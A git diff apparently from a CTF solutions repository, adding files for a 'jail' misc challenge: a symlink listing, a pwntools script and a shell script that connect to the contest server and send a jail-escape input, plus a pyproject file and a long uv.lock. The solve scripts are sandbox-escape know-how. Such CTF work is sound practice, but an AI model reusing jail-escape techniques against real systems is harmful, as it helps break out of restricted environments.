+lrwxrwxrwx 1 root root 12 May 30 12:13 kill ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 link ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 linux32 ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 linux64 ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ln ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 login ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ls ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 lsattr ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 lzop ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 makemime ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mkdir ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mknod ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mktemp ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 more ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mount ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mountpoint ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mpstat ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 mv ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 netstat ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 nice ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 pidof ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ping ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ping6 ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 pipe_progress ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 printenv ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 ps ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 pwd ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 reformime ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 rev ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 rm ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 rmdir ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 run-parts ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 sed ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 setpriv ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 setserial ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 sh ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 sleep ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 stat ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 stty ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 su ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 sync ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 tar ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 touch ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 true ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 umount ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 uname ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 usleep ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 watch ->
+lrwxrwxrwx 1 root root 12 May 30 12:13 zcat ->
diff --git a/2025/gpn/misc/jail/exploit.py b/2025/gpn/misc/jail/exploit.py
new file mode 100644
index 0000000..9faefb2
--- /dev/null
+++ b/2025/gpn/misc/jail/exploit.py
@@ -0,0 +1,21 @@
+import sys
+import termios
+import tty
+from pwn import *
+
+# Save original terminal settings
+old_settings = termios.tcgetattr(sys.stdin)
+
+try:
+ # Set terminal to raw -echo mode
+ tty.setraw(sys.stdin.fileno())
+
+ # Connect to challenge
+ p = remote("goldenridge-of-mind-blowing-harmony.gpn23.ctf.kitctf.de", 443, ssl=True)
+ p.sendline(b"!'Get out of Jail Free'")
+ p.interactive()
+
+finally:
+ # Restore terminal settings after interaction ends
+ termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)
+
diff --git a/2025/gpn/misc/jail/pyproject.toml b/2025/gpn/misc/jail/pyproject.toml
new file mode 100644
index 0000000..e621684
--- /dev/null
+++ b/2025/gpn/misc/jail/pyproject.toml
@@ -0,0 +1,9 @@
+[project]
+name = "jail"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.12"
+dependencies = [
+ "pwntools>=4.14.1",
+]
diff --git a/2025/gpn/misc/jail/start_exploit.sh b/2025/gpn/misc/jail/start_exploit.sh
new file mode 100755
index 0000000..b9c4352
--- /dev/null
+++ b/2025/gpn/misc/jail/start_exploit.sh
@@ -0,0 +1,3 @@
+#/bin/bash
+
+stty raw -echo; ncat --ssl goldenridge-of-mind-blowing-harmony.gpn23.ctf.kitctf.de 443
diff --git a/2025/gpn/misc/jail/uv.lock b/2025/gpn/misc/jail/uv.lock
new file mode 100644
index 0000000..73e6317
--- /dev/null
+++ b/2025/gpn/misc/jail/uv.lock
@@ -0,0 +1,609 @@
+version = 1
+revision = 2
+requires-python = ">=3.12"
+
+[[package]]
+name = "bcrypt"
+version = "4.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/bb/5d/6d7433e0f3cd46ce0b43cd65e1db465ea024dbb8216fb2404e919c2ad77b/bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18", size = 25697, upload-time = "2025-02-28T01:24:09.174Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/bf/2c/3d44e853d1fe969d229bd58d39ae6902b3d924af0e2b5a60d17d4b809ded/bcrypt-4.3.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f01e060f14b6b57bbb72fc5b4a83ac21c443c9a2ee708e04a10e9192f90a6281", size = 483719, upload-time = "2025-02-28T01:22:34.539Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/e2/58ff6e2a22eca2e2cff5370ae56dba29d70b1ea6fc08ee9115c3ae367795/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5eeac541cefd0bb887a371ef73c62c3cd78535e4887b310626036a7c0a817bb", size = 272001, upload-time = "2025-02-28T01:22:38.078Z" },
+ { url = "https://files.pythonhosted.org/packages/37/1f/c55ed8dbe994b1d088309e366749633c9eb90d139af3c0a50c102ba68a1a/bcrypt-4.3.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:59e1aa0e2cd871b08ca146ed08445038f42ff75968c7ae50d2fdd7860ade2180", size = 277451, upload-time = "2025-02-28T01:22:40.787Z" },
+ { url = "https://files.pythonhosted.org/packages/d7/1c/794feb2ecf22fe73dcfb697ea7057f632061faceb7dcf0f155f3443b4d79/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:0042b2e342e9ae3d2ed22727c1262f76cc4f345683b5c1715f0250cf4277294f", size = 272792, upload-time = "2025-02-28T01:22:43.144Z" },
+ { url = "https://files.pythonhosted.org/packages/13/b7/0b289506a3f3598c2ae2bdfa0ea66969812ed200264e3f61df77753eee6d/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74a8d21a09f5e025a9a23e7c0fd2c7fe8e7503e4d356c0a2c1486ba010619f09", size = 289752, upload-time = "2025-02-28T01:22:45.56Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/24/d0fb023788afe9e83cc118895a9f6c57e1044e7e1672f045e46733421fe6/bcrypt-4.3.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:0142b2cb84a009f8452c8c5a33ace5e3dfec4159e7735f5afe9a4d50a8ea722d", size = 277762, upload-time = "2025-02-28T01:22:47.023Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/38/cde58089492e55ac4ef6c49fea7027600c84fd23f7520c62118c03b4625e/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:12fa6ce40cde3f0b899729dbd7d5e8811cb892d31b6f7d0334a1f37748b789fd", size = 272384, upload-time = "2025-02-28T01:22:49.221Z" },
+ { url = "https://files.pythonhosted.org/packages/de/6a/d5026520843490cfc8135d03012a413e4532a400e471e6188b01b2de853f/bcrypt-4.3.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:5bd3cca1f2aa5dbcf39e2aa13dd094ea181f48959e1071265de49cc2b82525af", size = 277329, upload-time = "2025-02-28T01:22:51.603Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/a3/4fc5255e60486466c389e28c12579d2829b28a527360e9430b4041df4cf9/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:335a420cfd63fc5bc27308e929bee231c15c85cc4c496610ffb17923abf7f231", size = 305241, upload-time = "2025-02-28T01:22:53.283Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/15/2b37bc07d6ce27cc94e5b10fd5058900eb8fb11642300e932c8c82e25c4a/bcrypt-4.3.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:0e30e5e67aed0187a1764911af023043b4542e70a7461ad20e837e94d23e1d6c", size = 309617, upload-time = "2025-02-28T01:22:55.461Z" },
+ { url = "https://files.pythonhosted.org/packages/5f/1f/99f65edb09e6c935232ba0430c8c13bb98cb3194b6d636e61d93fe60ac59/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:3b8d62290ebefd49ee0b3ce7500f5dbdcf13b81402c05f6dafab9a1e1b27212f", size = 335751, upload-time = "2025-02-28T01:22:57.81Z" },
+ { url = "https://files.pythonhosted.org/packages/00/1b/b324030c706711c99769988fcb694b3cb23f247ad39a7823a78e361bdbb8/bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d", size = 355965, upload-time = "2025-02-28T01:22:59.181Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/dd/20372a0579dd915dfc3b1cd4943b3bca431866fcb1dfdfd7518c3caddea6/bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4", size = 155316, upload-time = "2025-02-28T01:23:00.763Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/52/45d969fcff6b5577c2bf17098dc36269b4c02197d551371c023130c0f890/bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669", size = 147752, upload-time = "2025-02-28T01:23:02.908Z" },
+ { url = "https://files.pythonhosted.org/packages/11/22/5ada0b9af72b60cbc4c9a399fdde4af0feaa609d27eb0adc61607997a3fa/bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d", size = 498019, upload-time = "2025-02-28T01:23:05.838Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/8c/252a1edc598dc1ce57905be173328eda073083826955ee3c97c7ff5ba584/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b", size = 279174, upload-time = "2025-02-28T01:23:07.274Z" },
+ { url = "https://files.pythonhosted.org/packages/29/5b/4547d5c49b85f0337c13929f2ccbe08b7283069eea3550a457914fc078aa/bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e", size = 283870, upload-time = "2025-02-28T01:23:09.151Z" },
+ { url = "https://files.pythonhosted.org/packages/be/21/7dbaf3fa1745cb63f776bb046e481fbababd7d344c5324eab47f5ca92dd2/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59", size = 279601, upload-time = "2025-02-28T01:23:11.461Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/64/e042fc8262e971347d9230d9abbe70d68b0a549acd8611c83cebd3eaec67/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753", size = 297660, upload-time = "2025-02-28T01:23:12.989Z" },
+ { url = "https://files.pythonhosted.org/packages/50/b8/6294eb84a3fef3b67c69b4470fcdd5326676806bf2519cda79331ab3c3a9/bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761", size = 284083, upload-time = "2025-02-28T01:23:14.5Z" },
+ { url = "https://files.pythonhosted.org/packages/62/e6/baff635a4f2c42e8788fe1b1633911c38551ecca9a749d1052d296329da6/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb", size = 279237, upload-time = "2025-02-28T01:23:16.686Z" },
+ { url = "https://files.pythonhosted.org/packages/39/48/46f623f1b0c7dc2e5de0b8af5e6f5ac4cc26408ac33f3d424e5ad8da4a90/bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d", size = 283737, upload-time = "2025-02-28T01:23:18.897Z" },
+ { url = "https://files.pythonhosted.org/packages/49/8b/70671c3ce9c0fca4a6cc3cc6ccbaa7e948875a2e62cbd146e04a4011899c/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f", size = 312741, upload-time = "2025-02-28T01:23:21.041Z" },
+ { url = "https://files.pythonhosted.org/packages/27/fb/910d3a1caa2d249b6040a5caf9f9866c52114d51523ac2fb47578a27faee/bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732", size = 316472, upload-time = "2025-02-28T01:23:23.183Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/cf/7cf3a05b66ce466cfb575dbbda39718d45a609daa78500f57fa9f36fa3c0/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef", size = 343606, upload-time = "2025-02-28T01:23:25.361Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/b8/e970ecc6d7e355c0d892b7f733480f4aa8509f99b33e71550242cf0b7e63/bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304", size = 362867, upload-time = "2025-02-28T01:23:26.875Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/97/8d3118efd8354c555a3422d544163f40d9f236be5b96c714086463f11699/bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51", size = 160589, upload-time = "2025-02-28T01:23:28.381Z" },
+ { url = "https://files.pythonhosted.org/packages/29/07/416f0b99f7f3997c69815365babbc2e8754181a4b1899d921b3c7d5b6f12/bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62", size = 152794, upload-time = "2025-02-28T01:23:30.187Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/c1/3fa0e9e4e0bfd3fd77eb8b52ec198fd6e1fd7e9402052e43f23483f956dd/bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3", size = 498969, upload-time = "2025-02-28T01:23:31.945Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/d4/755ce19b6743394787fbd7dff6bf271b27ee9b5912a97242e3caf125885b/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24", size = 279158, upload-time = "2025-02-28T01:23:34.161Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/5d/805ef1a749c965c46b28285dfb5cd272a7ed9fa971f970435a5133250182/bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef", size = 284285, upload-time = "2025-02-28T01:23:35.765Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/2b/698580547a4a4988e415721b71eb45e80c879f0fb04a62da131f45987b96/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b", size = 279583, upload-time = "2025-02-28T01:23:38.021Z" },
+ { url = "https://files.pythonhosted.org/packages/f2/87/62e1e426418204db520f955ffd06f1efd389feca893dad7095bf35612eec/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676", size = 297896, upload-time = "2025-02-28T01:23:39.575Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/c6/8fedca4c2ada1b6e889c52d2943b2f968d3427e5d65f595620ec4c06fa2f/bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1", size = 284492, upload-time = "2025-02-28T01:23:40.901Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/4d/c43332dcaaddb7710a8ff5269fcccba97ed3c85987ddaa808db084267b9a/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe", size = 279213, upload-time = "2025-02-28T01:23:42.653Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/7f/1e36379e169a7df3a14a1c160a49b7b918600a6008de43ff20d479e6f4b5/bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0", size = 284162, upload-time = "2025-02-28T01:23:43.964Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/0a/644b2731194b0d7646f3210dc4d80c7fee3ecb3a1f791a6e0ae6bb8684e3/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f", size = 312856, upload-time = "2025-02-28T01:23:46.011Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/62/2a871837c0bb6ab0c9a88bf54de0fc021a6a08832d4ea313ed92a669d437/bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23", size = 316726, upload-time = "2025-02-28T01:23:47.575Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/a1/9898ea3faac0b156d457fd73a3cb9c2855c6fd063e44b8522925cdd8ce46/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe", size = 343664, upload-time = "2025-02-28T01:23:49.059Z" },
+ { url = "https://files.pythonhosted.org/packages/40/f2/71b4ed65ce38982ecdda0ff20c3ad1b15e71949c78b2c053df53629ce940/bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505", size = 363128, upload-time = "2025-02-28T01:23:50.399Z" },
+ { url = "https://files.pythonhosted.org/packages/11/99/12f6a58eca6dea4be992d6c681b7ec9410a1d9f5cf368c61437e31daa879/bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a", size = 160598, upload-time = "2025-02-28T01:23:51.775Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/cf/45fb5261ece3e6b9817d3d82b2f343a505fd58674a92577923bc500bd1aa/bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b", size = 152799, upload-time = "2025-02-28T01:23:53.139Z" },
+]
+
+[[package]]
+name = "capstone"
+version = "5.0.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d5/b0/1f126035a4cbc6f488b97e4bd57a46a28b6ba29ca8b938cbda840601a18a/capstone-5.0.6.tar.gz", hash = "sha256:b11a87d67751b006b9b44428d59c99512e6d6c89cf7dff8cdd92d9065628b5a0", size = 2945704, upload-time = "2025-03-23T16:03:40.795Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cd/9a/d9c11e090fa03dfc61a03a57ba44c6a07370f4ac5814f2a5804bfd40ee8b/capstone-5.0.6-py3-none-macosx_10_9_universal2.whl", hash = "sha256:0bca16e1c3ca1b928df6103b3889dcb6df7b05392d75a0b7af3508798148b899", size = 2177082, upload-time = "2025-03-23T16:03:27.815Z" },
+ { url = "https://files.pythonhosted.org/packages/66/28/72a0be2325e6ee459f27cdcd835d3eee6fed5136321b5f7be41b41dc8656/capstone-5.0.6-py3-none-macosx_10_9_x86_64.whl", hash = "sha256:539191906a34ad1c573ec12b787b2caf154ea41175db6ded9def00aea8151099", size = 1180215, upload-time = "2025-03-23T16:03:29.409Z" },
+ { url = "https://files.pythonhosted.org/packages/54/93/7b8fb02661d47a2822d5b640df804ef310417144af02e6db3446f174c4b5/capstone-5.0.6-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e0b87b283905e4fc43635ca04cf26f4a5d9e8375852e5464d38938f3a28c207a", size = 1192757, upload-time = "2025-03-23T16:03:30.966Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/a2/d1bdb7260ade8165182979ea16098ef3a37c01316140511a611e549dbfe3/capstone-5.0.6-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa7892f0c89455078c18f07d2d309fb07baa53061b8f9a63db1ea00d41a46726", size = 1458413, upload-time = "2025-03-23T16:03:32.04Z" },
+ { url = "https://files.pythonhosted.org/packages/78/7f/ec0687bbe8f6b128f1d41d90ec7cedfd1aaaa4ecb1ae8d334acc7dad8013/capstone-5.0.6-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0358855773100bb91ae6681fabce7299df83156945ba943f6211061a592c54a6", size = 1481605, upload-time = "2025-03-23T16:03:33.526Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/1d/77bb0f79e1dacdfdcc0679c747d9ca24cc621095e09bdb665e7dd0c580ae/capstone-5.0.6-py3-none-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:667d6466dab1522fa5e9659be5cf1aca83e4fc3da7d15d0e5e6047f71fb46c4a", size = 1480730, upload-time = "2025-03-23T16:03:34.601Z" },
+ { url = "https://files.pythonhosted.org/packages/72/63/07437972f68d0b2ba13e1705a6994404c9c961afbadc342c5b6fcf1de652/capstone-5.0.6-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:45c0e25500dd8d283d3b70f2e10cebfec93ab8bdaf6af9a763a0a999b4705891", size = 1457992, upload-time = "2025-03-23T16:03:35.75Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/53/f371e86493a2ae659b5a493c3cc23122974e83a1f53d3a5638d7bb7ac371/capstone-5.0.6-py3-none-musllinux_1_2_i686.whl", hash = "sha256:22f1f2f118f8fa1d1c5c90bca90e75864d55e16349b3c03aaea0e86b4a45d2a9", size = 1484184, upload-time = "2025-03-23T16:03:37.05Z" },
+ { url = "https://files.pythonhosted.org/packages/df/c3/8b842ae32949c3570581164619c2f69001c6d8da566dc2e490372032b0d6/capstone-5.0.6-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:bc23cf634f51d0e53bdd04ea53ccfff7fc9060dfe58dff1e1b260ce40e5538ff", size = 1485357, upload-time = "2025-03-23T16:03:38.133Z" },
+ { url = "https://files.pythonhosted.org/packages/da/72/ff7894c2fb5716d9a3ce9c27ba34b29d991a11d8442d2ef0fcdc5564ba7e/capstone-5.0.6-py3-none-win_amd64.whl", hash = "sha256:761c3deae00b22ac697081cdae1383bb90659dd0d79387a09cf5bdbb22b17064", size = 1271345, upload-time = "2025-03-23T16:03:39.649Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2025.6.15"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/73/f7/f14b46d4bcd21092d7d3ccef689615220d8a08fb25e564b65d20738e672e/certifi-2025.6.15.tar.gz", hash = "sha256:d747aa5a8b9bbbb1bb8c22bb13e22bd1f18e9796defa16bab421f7f7a317323b", size = 158753, upload-time = "2025-06-15T02:45:51.329Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/84/ae/320161bd181fc06471eed047ecce67b693fd7515b16d495d8932db763426/certifi-2025.6.15-py3-none-any.whl", hash = "sha256:2e0c7ce7cb5d8f8634ca55d2ba7e6ec2689a2fd6537d8dec1296a477a4910057", size = 157650, upload-time = "2025-06-15T02:45:49.977Z" },
+]
+
+[[package]]
+name = "cffi"
+version = "1.17.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "pycparser" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fc/97/c783634659c2920c3fc70419e3af40972dbaf758daa229a7d6ea6135c90d/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824", size = 516621, upload-time = "2024-09-04T20:45:21.852Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5a/84/e94227139ee5fb4d600a7a4927f322e1d4aea6fdc50bd3fca8493caba23f/cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4", size = 183178, upload-time = "2024-09-04T20:44:12.232Z" },
+ { url = "https://files.pythonhosted.org/packages/da/ee/fb72c2b48656111c4ef27f0f91da355e130a923473bf5ee75c5643d00cca/cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c", size = 178840, upload-time = "2024-09-04T20:44:13.739Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/b6/db007700f67d151abadf508cbfd6a1884f57eab90b1bb985c4c8c02b0f28/cffi-1.17.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1257bdabf294dceb59f5e70c64a3e2f462c30c7ad68092d01bbbfb1c16b1ba36", size = 454803, upload-time = "2024-09-04T20:44:15.231Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/df/f8d151540d8c200eb1c6fba8cd0dfd40904f1b0682ea705c36e6c2e97ab3/cffi-1.17.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da95af8214998d77a98cc14e3a3bd00aa191526343078b530ceb0bd710fb48a5", size = 478850, upload-time = "2024-09-04T20:44:17.188Z" },
+ { url = "https://files.pythonhosted.org/packages/28/c0/b31116332a547fd2677ae5b78a2ef662dfc8023d67f41b2a83f7c2aa78b1/cffi-1.17.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d63afe322132c194cf832bfec0dc69a99fb9bb6bbd550f161a49e9e855cc78ff", size = 485729, upload-time = "2024-09-04T20:44:18.688Z" },
+ { url = "https://files.pythonhosted.org/packages/91/2b/9a1ddfa5c7f13cab007a2c9cc295b70fbbda7cb10a286aa6810338e60ea1/cffi-1.17.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f79fc4fc25f1c8698ff97788206bb3c2598949bfe0fef03d299eb1b5356ada99", size = 471256, upload-time = "2024-09-04T20:44:20.248Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/d5/da47df7004cb17e4955df6a43d14b3b4ae77737dff8bf7f8f333196717bf/cffi-1.17.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b62ce867176a75d03a665bad002af8e6d54644fad99a3c70905c543130e39d93", size = 479424, upload-time = "2024-09-04T20:44:21.673Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/ac/2a28bcf513e93a219c8a4e8e125534f4f6db03e3179ba1c45e949b76212c/cffi-1.17.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:386c8bf53c502fff58903061338ce4f4950cbdcb23e2902d86c0f722b786bbe3", size = 484568, upload-time = "2024-09-04T20:44:23.245Z" },
